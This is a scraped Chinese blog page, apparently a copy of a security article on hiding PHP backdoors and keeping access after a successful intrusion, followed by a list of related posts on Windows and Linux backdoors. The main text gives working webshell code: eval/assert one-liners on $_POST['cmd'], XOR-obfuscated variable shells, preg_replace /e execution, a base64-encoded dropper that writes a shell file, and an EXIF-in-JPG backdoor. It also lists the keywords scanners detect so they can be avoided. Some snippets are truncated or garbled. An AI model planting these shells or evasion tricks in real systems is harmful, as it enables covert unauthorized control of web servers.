php后门隐藏与维持技巧,PHP后门隐藏与维持技巧_PHP
0×00前言
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.
以PHP-WEBBACKDOOR为例,抛砖引玉
一个最常见的一句话后门可能写作这样
eval($_POST['cmd']);?>
或这样
$_POST['cmd']);?>
当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.
但是运维直观寻找我们shell的方式也有很多,如
◆通过文件名/修改时间/大小,文件备份比对发现异常
◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等
◆通过Access.log访问日志发现后门所在
◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等
针对常见的检测方式,总结以下七常用手法对shell进行隐藏
0×01规避
看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的
常见的关键词如:
◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的
tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用
?
构造生成,当然,嫌太直观可以写作这样
$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了
执行无误,且绕过普通扫描器,也可依赖之写新的临时shell
0×02特性
借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)
eg.:
${@eval(phpinfo())}
{}可解析双引号内的变量内容,@保持出错后继续执行
然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace
"//e",$_POST['cmd'],"");?>
这玩法显然已经进了扫描器黑名单,简单修改下
?
执行了,没有被发现
执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行
funfunc("{${phpinfo()}}")
另一种方法
"\$arr=\"".$_GET['cmd']."\";");?>
0×03包含
文件包含是众人都玩过的方法,只是包含也有技巧
普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现
看此脚本
?
算是解决了一点问题,需求的shell可随用随生成,进而包含之
可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现
编码生成的方式创建shell,随访问而生成.
fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
?>
可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.
当然对于启发式之类的新概念就不考虑了
在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片
$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>
参考:一种隐藏在JPG图片EXIF中的后门
这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行
此处可能会提示 Call to undefined function exif_read_data()
需要修改php.ini, extension=php_exif.dll
将其加载顺序改为extension=php_mbstring.dll的后面
可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒
当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…
0×04隐匿
为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚
?
php后门隐藏与维持技巧,PHP后门隐藏与维持技巧_PHP相关推荐
- Windows留后门--教程(一)——Windows系统隐藏账户
一.Windows系统隐藏账户介绍 系统隐藏账户是一种最为简单有效的权限维持方式,其做法就是让攻击者创建一个新的具有管理员权限的隐藏账户,因为是隐藏账户,所以防守方是无法通过控制面板或命令行看到这个账 ...
- PHP一句话后门过狗姿势万千之后门构造与隐藏
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- Metasploit后门渗透Linux系统以及跨平台后门生成
Metasploit后门渗透Linux系统以及跨平台后门生成 Metasploit后门渗透Linux系统以及跨平台后门生成 1.Metasploit对目标主机SSH爆破 1.1爆破过程 2.PHP后门 ...
- LINUX留后门--教程(六)—— PAM后门
一.本教程作用 1.用在攻击的途径上 2.应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急? 不知攻,焉知防 二.PAM后门-教程 前提条件: 假设在攻击的过程中通过利用各种ge ...
- Win10系统电脑隐藏的文件夹如何显示,实用小技巧!怎样把win10隐藏的文档显示出来
我们平时不论是生活中还是工作中操作电脑,会有一些重要信息文件需要隐藏起来,来进行隐藏式保护文档信息,但是有时候我们把文档文件夹隐藏了不知如何去查找了,那么就需要我们把隐藏文件夹设置显示出来.下面小编就 ...
- 计算机c盘隐藏了怎么办,win7怎么隐藏c盘 win7c盘被隐藏了怎么解除
很多的电脑用户担心其他用户在使用电脑时修改c盘中的重要文件,所以会将c盘设置为隐藏,那么大家知道在win7系统中怎么隐藏c盘吗?方法很简单,下面小编为大家带来win7隐藏c盘的详细教程,不知道怎么隐藏 ...
- easyui 隐藏input_easyui datagrid 列显示和隐藏
//当查询IT基础设施的时候隐藏'STAFF_ID'.'ITSM_STAFF_ID' if($("input[name='currentstate']").val()==2){ $ ...
- 谷歌浏览器书签栏怎么隐藏 谷歌Chrome浏览器书签栏隐藏教程
打开谷歌Chrome浏览器,进入设置页面; 谷歌浏览器书签栏怎么隐藏?谷歌Chrome浏览器书签栏隐藏教程 谷歌浏览器书签栏怎么隐藏?谷歌Chrome浏览器书签栏隐藏教程 待设置页面弹出后,滑动找寻& ...
- 计算机的隐藏功能应用,电脑也有隐藏功能, 你知道吗?
原标题:电脑也有隐藏功能, 你知道吗? 电脑的隐藏功能包括对文字,图片,文件,文件夹,菜单栏,功能区按钮的隐藏.隐藏的目的是为了保护个人隐私,保护个人的.集体单位的和国家的机密和情报. 01 隐藏&q ...
- 如何隐藏CAD图层?怎么显示隐藏的CAD图层?
CAD图层是编辑CAD文件时常常会使用的工具,如果我们在编辑CAD文件时,想要将一些不重要的图层隐藏,或者将隐藏的图层显示,那么应该怎么进行操作?如何隐藏CAD图层?怎么显示隐藏的CAD图层?接下来我 ...
最新文章
- 《C#精彩实例教程》小组阅读08 -- C#流程控制语句
- Android的代码都得自己一个个敲一遍吗?
- 开发人员应该对IIS理论层的知识了解的多一些~第四讲 HttpModule中的几大事件
- mysql+导出当前配置,mysql 查看当前使用的配置文件my.cnf的方法
- html:(30):继承和特殊性
- c mysql 添加数据类型_MYSQL的常用命令和增删改查语句和数据类型
- openGauss的开源数据库之路
- 卷积核权值初始化_Pytorch卷积层手动初始化权值的实例
- redis——哈希(hash)
- cli php 增强包_Linux 上安装 PHP 扩展
- 安全加固脚本及解析等保2.0(仅供参考)
- python学习之路(10)--难点
- win10绿联usb转串口_USB转串口DB9驱动安装与设置方法
- Thinkpad E430C关闭触摸板(Ubuntu)
- C语言确定某年星期六,c语言 怎么算某年某月某日是星期几啊?
- MySQL 报错1055
- 【编解码】记录一个ffmpeg解码生成YUV的 color range 问题,以及video_full_range_flag用法。
- 金蝶ERP供应链之采购管理
- 什么是瞬时极性法,怎么使用?
- 【STM32H750】从零编写MDK的FLM烧录算法
热门文章
- office转pdf 文件路径 php,php如何将office文件转pdf文件
- Python3 : pdb调试
- centos7日志管理
- selenium爬取薄荷网站食品食品信息
- 基金从业资格考试必备考试内容,你了解多少?
- java网络爬虫开发笔记
- Word2Vec 与《Distributed Representations of Words and Phrases and their Compositionality》学习笔记
- 微软服务器vhd,管理 VHD 文件时出错 - Windows Server | Microsoft Docs
- socks4代理网络渗透测试实验
- Android Messenger初探